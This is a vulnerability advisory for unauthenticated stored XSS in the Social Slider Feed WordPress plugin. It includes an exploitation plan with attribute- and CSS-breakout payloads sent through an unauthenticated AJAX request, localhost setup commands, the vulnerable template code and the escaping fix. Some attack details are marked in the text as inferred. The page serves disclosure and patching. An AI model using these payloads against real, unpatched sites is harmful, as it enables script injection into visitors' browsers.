Social Slider Feed <= 2.3.2 - Unauthenticated Stored Cross-Site Scripting
Description
The Social Slider Feed plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.3.2What Changed in the Fix
Changes introduced in v2.3.3
Source Code
WordPress.org SVNThis research plan focuses on exploiting an unauthenticated stored cross-site scripting (XSS) vulnerability in the **Social Slider Feed** plugin (version <= 2.3.2). The vulnerability resides in the way plugin settings and Instagram post data are handled and rendered in template files, specifically `…
Show full research plan
This research plan focuses on exploiting an unauthenticated stored cross-site scripting (XSS) vulnerability in the Social Slider Feed plugin (version <= 2.3.2). The vulnerability resides in the way plugin settings and Instagram post data are handled and rendered in template files, specifically showcase.php.
1. Vulnerability Summary
The plugin fails to adequately sanitize and escape user-controlled settings and Instagram feed data before outputting them into HTML attributes. In the showcase.php template, variables like shopifeed_phone, shopifeed_color, and post caption are echoed into data attributes or inline styles. An unauthenticated attacker can use an AJAX endpoint (traditionally unprotected in this plugin) to modify these settings or inject malicious feed data, leading to persistent XSS that executes when any user views the feed.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wis_save_settings(inferred from plugin history) orwis_add_account. - Payload Parameter:
shopifeed_phoneorshopifeed_color. - Authentication: Unauthenticated (
wp_ajax_nopriv_registration). - Preconditions: The
[instagram-feed]shortcode must be present on a public page, and theshowcasetemplate must be active.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith an action intended for settings updates. - Processing: The plugin's AJAX handler (likely in
WIS_Feedor a similar component) receives the input and updates the plugin's options in the database without checking for administrative capabilities. - Storage: The malicious payload (e.g.,
"><script>alert(1)</script>) is stored in thewp_optionstable. - Sink: A visitor accesses a page containing the
[instagram-feed]shortcode. - Rendering: The plugin calls
components/instagram/html_templates/templates/showcase.php. - Injection:
- Line 12:
$phone = str_replace( [ '+', '-', '(', ')', ' ' ], '', $args['shopifeed_phone'] );(Does not strip quotes). - Line 34:
<a data-isw-phone="<?= $phone ?>" ...> - The payload breaks out of the
data-isw-phoneattribute.
- Line 12:
4. Nonce Acquisition Strategy
The plugin frequently localizes a nonce for its AJAX operations.
- Identify Shortcode: The vulnerability is triggered by the
[instagram-feed]shortcode. - Setup Page: Create a page with the shortcode to ensure scripts are enqueued:
wp post create --post_type=page --post_title="Feed" --post_status=publish --post_content='[instagram-feed type="showcase"]' - Extract Nonce: Navigate to the page and use
browser_evalto find the nonce in the localized object. The plugin historically useswis_ajax_objectorwis_feed_data.- Command:
browser_eval("window.wis_ajax_object?.nonce || window.wis_feed_data?.nonce")
- Command:
- Fallback: If no nonce is found, the AJAX handler may be missing a
check_ajax_referercall entirely, which is common in unauthenticated WordPress vulnerabilities.
5. Exploitation Strategy
Step 1: Discover the AJAX Action
Try updating settings via wis_save_settings.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Body:
action=wis_save_settings&shopifeed_phone=" onmouseover="alert(document.domain)" style="display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;z-index:9999;(This creates a full-screen transparent overlay that triggers on mouse move).
Step 2: Verify Storage
Check if the setting was updated using WP-CLI:wp option get wis_settings (The option name might be wis_instagram_slider_widget_settings).
Step 3: Trigger XSS
Navigate to the page created in the Test Data Setup. The malicious data-isw-phone attribute will now contain the breakout payload.
6. Test Data Setup
- Activate Plugin: Ensure
instagram-slider-widgetis active. - Create Target Page:
wp post create --post_type=page --post_title="Social Feed" --post_status=publish --post_content='[instagram-feed type="showcase"]' - Configure Showcase (Optional): If the AJAX action requires specific keys, ensure the
typeis set toshowcaseso the vulnerable template is loaded.
7. Expected Results
- The AJAX request should return a successful response (e.g.,
1or{"success":true}). - When visiting the target page, the HTML source for the
isw-wishlist-aanchor tag should look like:<a data-isw-phone="" onmouseover="alert(document.domain)" ... - The browser should execute the
alert()when the mouse moves over the page.
8. Verification Steps
- Check Options:
Confirm the payload is present in thewp option get wis_instagram_slider_widget_settingsshopifeed_phoneorshopifeed_colorkey. - Check Rendered HTML: Use
http_requestto GET the page and grep for the payload:http_request "http://localhost:8080/social-feed/" | grep "onmouseover"
9. Alternative Approaches
If shopifeed_phone is sanitized more strictly than the code suggests, target shopifeed_color:
- Location:
showcase.phpLine 44:...style="...background-color: <?= $color ?>"> - Payload:
red; } </style><script>alert(1)</script><style> .dummy { color: blue - Mechanism: This breaks out of the inline
styleattribute AND the CSS context to inject a script tag.
If wis_save_settings fails, search the plugin folder for wp_ajax_nopriv to find the exact action name:grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/instagram-slider-widget/
Summary
The Social Slider Feed plugin for WordPress is vulnerable to unauthenticated stored XSS due to the lack of sanitization and escaping on plugin settings and Instagram post data. This allows unauthenticated attackers to inject malicious scripts into fields like phone numbers or colors via AJAX, which execute whenever a user views a page containing the social feed shortcode.
Vulnerable Code
/* components/instagram/html_templates/templates/showcase.php */ <a data-isw-phone="<?= $phone ?>" data-isw-color="<?= $color ?>" data-isw-wasvg="<?= $whatsapp_svg ?>" data-isw-mailsvg="<?= $mail_svg ?>" data-isw-email="<?= $mail ?>" class="isw-wishlist-a" id="show-wishlist" style="padding: 8px 15px !important;background-color: <?= $color ?>"> --- /* components/instagram/html_templates/templates/masonry.php */ <div class="wis-item"> <div class="wis-img"> <?php if ($link_to == 'popup') {?> <a data-remodal-target="<?= $id ?>" class="wis-popup-a wis-masonry-a"> <?php } else if($link_to == 'none') {?> --- /* components/instagram/html_templates/templates/feed_header.php */ <div class="wis-header-info"> <a href="<?= $profile_url ?>" target="_blank" style="text-decoration: none; color: black; border: 0 !important;"> <p class="wis-header-info-username"><?php echo esc_html($username) ?></p> </a>
Security Fix
@@ -28,23 +28,23 @@ <div class="isw-showcase-wishlist-container"> <div class="isw-showcase-wishlist-block"> <a - data-isw-phone="<?= $phone ?>" - data-isw-color="<?= $color ?>" - data-isw-wasvg="<?= $whatsapp_svg ?>" - data-isw-mailsvg="<?= $mail_svg ?>" - data-isw-email="<?= $mail ?>" - class="isw-wishlist-a" id="show-wishlist" style="padding: 8px 15px !important;background-color: <?= $color ?>"> + data-isw-phone="<?php echo esc_attr( $phone ); ?>" + data-isw-color="<?php echo esc_attr( $color ); ?>" + data-isw-wasvg="<?php echo esc_attr( $whatsapp_svg ); ?>" + data-isw-mailsvg="<?php echo esc_attr( $mail_svg ); ?>" + data-isw-email="<?php echo esc_attr( $mail ); ?>" + class="isw-wishlist-a" id="show-wishlist" style="padding: 8px 15px !important;background-color: <?php echo esc_attr( $color ); ?>"> <span class="dashicons dashicons-heart isw-heart" style="color: white;"></span> <span class="isw-wishlist-text"><?php esc_html_e( 'WISHLIST', 'instagram-slider-widget' ); ?></span> </a> </div> </div> <?php foreach ( $posts as $post ): ?> - <div class="isw-showcase-item" style="width: <?= 85 / $columns - 2.5 ?>%; height: <?= 900 / $columns + 150 * $columns / 3 ?>px;"> + <div class="isw-showcase-item" style="width: <?php echo esc_attr( 85 / $columns - 2.5 ); ?>%; height: <?php echo esc_attr( 900 / $columns + 150 * $columns / 3 ); ?>px;"> <div class="isw-showcase-item-image-container"> - <a data-remodal-target="<?= $post['id'] ?>"> - <img class="isw-showcase-item-image" src="<?= $post['image'] ?>" alt="<?= $post['caption'] ?>"> + <a data-remodal-target="<?php echo esc_attr( $post['id'] ); ?>"> + <img class="isw-showcase-item-image" src="<?php echo esc_url( $post['image'] ); ?>" alt="<?php echo esc_attr( $post['caption'] ); ?>">
Exploit Outline
The exploit involves two main steps: 1) Injecting a payload into the plugin's settings via an unauthenticated AJAX request. An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the action `wis_save_settings` (or similar depending on the exact setup) containing a malicious payload in parameters like `shopifeed_phone` (e.g., `" onmouseover="alert(1)"`). 2) Triggering the payload by visiting a page where the `[instagram-feed]` shortcode is rendered using the 'showcase' or 'masonry' templates. Because the plugin fails to escape these values before outputting them into HTML attributes, the script executes in the user's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.